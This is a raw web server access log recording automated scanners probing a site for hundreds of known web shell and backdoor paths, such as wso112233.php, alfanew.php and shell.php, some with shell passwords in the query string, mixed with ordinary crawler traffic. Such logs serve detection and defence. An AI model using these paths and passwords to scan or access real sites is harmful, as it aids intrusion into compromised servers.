"-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:28 -0400] "GET /wp-content/plugins/fix/sx.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:28 -0400] "GET /wp-admin/includes/sx.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:29 -0400] "GET /cgi-bin/sx.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:29 -0400] "GET /wp-admin/css/sx.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:29 -0400] "GET /wp-admin/network/sx.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:30 -0400] "GET /wp-includes/block-supports/sx.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:31 -0400] "GET /wp-includes/IXR/sx.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:31 -0400] "GET /.well-known/sx.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:31 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/fonts/sx.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:32 -0400] "GET /wp-content/sx.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:32 -0400] "GET /wp-content/plugins/elementor/sx.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:33 -0400] "GET /.well-known/acme-challenge/sx.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:33 -0400] "GET /wp-includes/js/jcrop/sx.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:33 -0400] "GET /wp-includes/rest-api/sx.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:34 -0400] "GET /wp-admin/images/sx.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:34 -0400] "GET /wp-admin/css/colors/blue/blue.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:34 -0400] "GET /chosen HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:35 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:35 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:35 -0400] "GET /wp-includes/images/include.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:35 -0400] "GET /wp-content/themes/wp-classic/inc/index.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:36 -0400] "GET /assets/images/1p.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:36 -0400] "GET /class.api.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:36 -0400] "GET /plugin.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:37 -0400] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:37 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:38 -0400] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:38 -0400] "GET /.well-known/acme-challenge/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:38 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:39 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:39 -0400] "GET /input.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:39 -0400] "GET /admin-ajax.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:39 -0400] "GET /0z.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:40 -0400] "GET /media.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:41 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:42 -0400] "GET /wp-includes/fonts/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:43 -0400] "GET /wp-admin/users.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:43 -0400] "GET /wp-content/uploads/cache.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:43 -0400] "GET /.wp-cli/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:44 -0400] "GET /authorize.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:44 -0400] "GET /wp-admin/css/colors/blue/CasperExV1.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:45 -0400] "GET /wp-admin/includes/users.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:45 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:45 -0400] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:46 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:46 -0400] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:47 -0400] "GET /wp-content/plugins/WordPressCore/blkfqnikz.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:47 -0400] "GET /wp/wp-admin/includes/class-wp-page-mvb2yr.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:47 -0400] "GET /st.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:48 -0400] "GET /wp-includes/images/smilies/about.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:48 -0400] "GET /ynz.PhP7 HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:49 -0400] "GET /wp-content/style-css.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:49 -0400] "GET /wp-includes/IXR/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:49 -0400] "GET /.well-known/acme-challenge/about.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:49 -0400] "GET /wordpress/wp-includes/IXR/allez.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:50 -0400] "GET /rendixd.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:50 -0400] "GET /wp-admin/css/admin.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:51 -0400] "GET /filefuns.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:51 -0400] "GET /options.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:51 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/index.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:52 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:52 -0400] "GET /user.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:52 -0400] "GET /worm0.PhP7 HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:53 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/index.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:53 -0400] "GET /.well-known//.well-known/owlmailer.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:54 -0400] "GET /wp-content/uploads/cong.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:54 -0400] "GET /01.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:55 -0400] "GET /wp-content/uploads/wp-login.php.suspected HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:55 -0400] "GET /wp-includes/rest-api/endpoints/html.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:55 -0400] "GET /wp-admin/js/widgets/cong.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:56 -0400] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:56 -0400] "GET /link.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:56 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:57 -0400] "GET /wp-admin/js/privacy-tools.min.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:57 -0400] "GET /wp-includes/pomo/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:58 -0400] "GET /db.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:58 -0400] "GET /wp-content/uploads/error_log.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:58 -0400] "GET /google.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:58 -0400] "GET /wp-includes/pomo/fgertreyersd.php.suspected HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:59 -0400] "GET /wp-includes/Requests/dropdown.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:35:59 -0400] "GET /wp-content/install.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:36:00 -0400] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:36:00 -0400] "GET /revision.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:36:00 -0400] "GET /css/sgd.php HTTP/1.1" 301 795 "-" "-" 13.90.211.168 - - [16/Apr/2025:09:36:00 -0400] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "-" 43.155.195.141 - - [16/Apr/2025:11:10:59 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 162.0.232.217 - - [16/Apr/2025:11:31:01 -0400] "GET /.well-known/pki-validation/ HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [16/Apr/2025:11:31:19 -0400] "GET /.well-known/pki-validation/wp-admin/ HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [16/Apr/2025:11:31:27 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [16/Apr/2025:11:31:28 -0400] "GET /.well-known/pki-validation/top.php HTTP/1.1" 301 795 "-" "get_local:DCV" 34.1.24.190 - - [16/Apr/2025:11:43:38 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko; compatible; BW/1.3; rb.gy/qyzae5) Chrome/124.0.0.0 Safari/537.36" 162.0.232.217 - - [16/Apr/2025:12:26:55 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [16/Apr/2025:12:27:30 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [16/Apr/2025:12:28:39 -0400] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [16/Apr/2025:12:29:51 -0400] "GET /.well-known/pki-validation/sx.php HTTP/1.1" 301 795 "-" "get_local:DCV" 170.106.152.218 - - [16/Apr/2025:12:41:21 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 66.249.64.164 - - [16/Apr/2025:12:44:28 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.64.163 - - [16/Apr/2025:12:44:30 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 162.0.232.217 - - [16/Apr/2025:12:49:23 -0400] "GET /.well-known/pki-validation/ HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [16/Apr/2025:12:49:46 -0400] "GET /.well-known/pki-validation/wp-admin/ HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [16/Apr/2025:12:49:57 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [16/Apr/2025:12:49:57 -0400] "GET /.well-known/pki-validation/top.php HTTP/1.1" 301 795 "-" "get_local:DCV" 40.69.36.253 - - [16/Apr/2025:13:07:29 -0400] "GET /.alf.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:07:31 -0400] "GET /.tmb/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:07:32 -0400] "GET /.tmb/mariju.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:07:32 -0400] "GET /.tmb/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:07:33 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:07:34 -0400] "GET /.well-known//about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:07:35 -0400] "GET /.well-known/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:07:36 -0400] "GET /.well-known/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:07:36 -0400] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:07:37 -0400] "GET /.well-known/acme-challenge//.info.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:07:39 -0400] "GET /.well-known/acme-challenge//muse.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:07:39 -0400] "GET /.well-known/acme-challenge//wp-protector.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:07:40 -0400] "GET /.well-known/acme-challenge/Llj.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:07:41 -0400] "GET /.well-known/acme-challenge/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:07:42 -0400] "GET /.well-known/acme-challenge/about.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:07:42 -0400] "GET /.well-known/acme-challenge/admiin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:07:43 -0400] "GET /.well-known/acme-challenge/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:07:44 -0400] "GET /.well-known/acme-challenge/atomlib.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:07:45 -0400] "GET /.well-known/acme-challenge/cloud.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:07:46 -0400] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:07:47 -0400] "GET /.well-known/acme-challenge/index.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:07:48 -0400] "GET /.well-known/acme-challenge/install.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:07:49 -0400] "GET /.well-known/acme-challenge/makeasmtp.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:07:50 -0400] "GET /.well-known/acme-challenge/makeasmtp.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:07:51 -0400] "GET /.well-known/acme-challenge/radio.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:07:52 -0400] "GET /.well-known/acme-challenge/themes.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:07:53 -0400] "GET /.well-known/acme-challenge/x2.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:07:53 -0400] "GET /.well-known/acme-challenge/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:07:54 -0400] "GET /.well-known/acme-challenge/xp.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:07:55 -0400] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:07:56 -0400] "GET /.well-known/apap.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:07:57 -0400] "GET /.well-known/as.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:07:57 -0400] "GET /.well-known/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:07:58 -0400] "GET /.well-known/content.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:07:59 -0400] "GET /.well-known/fierzashell.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:07:59 -0400] "GET /.well-known/file.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:08:00 -0400] "GET /.well-known/fm.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:08:01 -0400] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:08:01 -0400] "GET /.well-known/index.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:08:02 -0400] "GET /.well-known/link.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:08:03 -0400] "GET /.well-known/lofmebwd.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:08:04 -0400] "GET /.well-known/lv.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:08:05 -0400] "GET /.well-known/pki-validation/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:08:07 -0400] "GET /.well-known/pki-validation//parx.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:08:07 -0400] "GET /.well-known/pki-validation/43e0da16-f4f8-4f0a-91d6-f41bf52aec3f.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:08:09 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:08:11 -0400] "GET /.well-known/pki-validation/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:08:12 -0400] "GET /.well-known/pki-validation/afnew.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:08:13 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:08:14 -0400] "GET /.well-known/pki-validation/cux.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:08:15 -0400] "GET /.well-known/pki-validation/doc.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:08:15 -0400] "GET /.well-known/pki-validation/dropdown.php?pass=yanz HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:08:16 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:08:16 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:08:17 -0400] "GET /.well-known/pki-validation/muse.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:08:17 -0400] "GET /.well-known/pki-validation/parx.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:08:18 -0400] "GET /.well-known/pki-validation/plugins.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:08:19 -0400] "GET /.well-known/pki-validation/pwnd.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:08:19 -0400] "GET /.well-known/pki-validation/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:08:20 -0400] "GET /.well-known/pki-validation/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:08:21 -0400] "GET /.well-known/pki-validation/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:08:21 -0400] "GET /.well-known/radio.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:08:22 -0400] "GET /.well-known/s.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:08:23 -0400] "GET /.well-known/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:08:24 -0400] "GET /.well-known/ws.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:08:24 -0400] "GET /.well-known/wso112233.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:08:25 -0400] "GET /.well-knownold/wso112233.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:08:26 -0400] "GET /.wp-cli/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:08:27 -0400] "GET //.well-known/acme-challenge/cloud.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:08:28 -0400] "GET //.well-known/acme-challenge/install.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:08:28 -0400] "GET //.well-known/acme-challenge/my1.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:08:29 -0400] "GET //.well-known/acme-challenge/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:08:30 -0400] "GET //.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:08:30 -0400] "GET //.well-known/pki-validation/index.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:08:31 -0400] "GET //1.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:08:31 -0400] "GET //404.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:08:32 -0400] "GET //a.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:08:33 -0400] "GET //about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:08:33 -0400] "GET //about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:08:34 -0400] "GET //admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:08:34 -0400] "GET //alfanew.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:08:35 -0400] "GET //alfanew.php7 HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:08:36 -0400] "GET //autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:08:36 -0400] "GET //bp.php?taf HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:08:37 -0400] "GET //cgi-bin/cloud.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:08:38 -0400] "GET //cgi-bin/my1.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:08:38 -0400] "GET //cgi-bin/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:08:39 -0400] "GET //chosen.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:08:39 -0400] "GET //chosen.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:08:40 -0400] "GET //cjfuns.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:08:41 -0400] "GET //classwithtostring.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:08:41 -0400] "GET //cong.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:08:42 -0400] "GET //content.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:08:43 -0400] "GET //content.php?pass=dadsec HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:08:43 -0400] "GET //dropdown.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:08:44 -0400] "GET //ee.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:08:44 -0400] "GET //en/tinyfilemanager.html HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:08:45 -0400] "GET //file.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:08:46 -0400] "GET //file2.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:08:46 -0400] "GET //fm.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:08:47 -0400] "GET //gebase.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:08:47 -0400] "GET //index/function.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:08:48 -0400] "GET //info.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:08:49 -0400] "GET //item.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:08:50 -0400] "GET //jp.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:08:50 -0400] "GET //k.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:08:51 -0400] "GET //mah/function.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:08:51 -0400] "GET //mini.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:08:52 -0400] "GET //moon.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:08:53 -0400] "GET //radio.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:08:53 -0400] "GET //repeater.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:08:54 -0400] "GET //root.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:08:55 -0400] "GET //santiago-oriente56.degustamenu.com/wp-includes/hlVYmeOAvcd.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:08:55 -0400] "GET //shell.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:08:56 -0400] "GET //shell20211028.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:08:57 -0400] "GET //simple.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:13:08:58 -0400] "GET //test.php HTTP/1.1" 301 795 "-" "-" 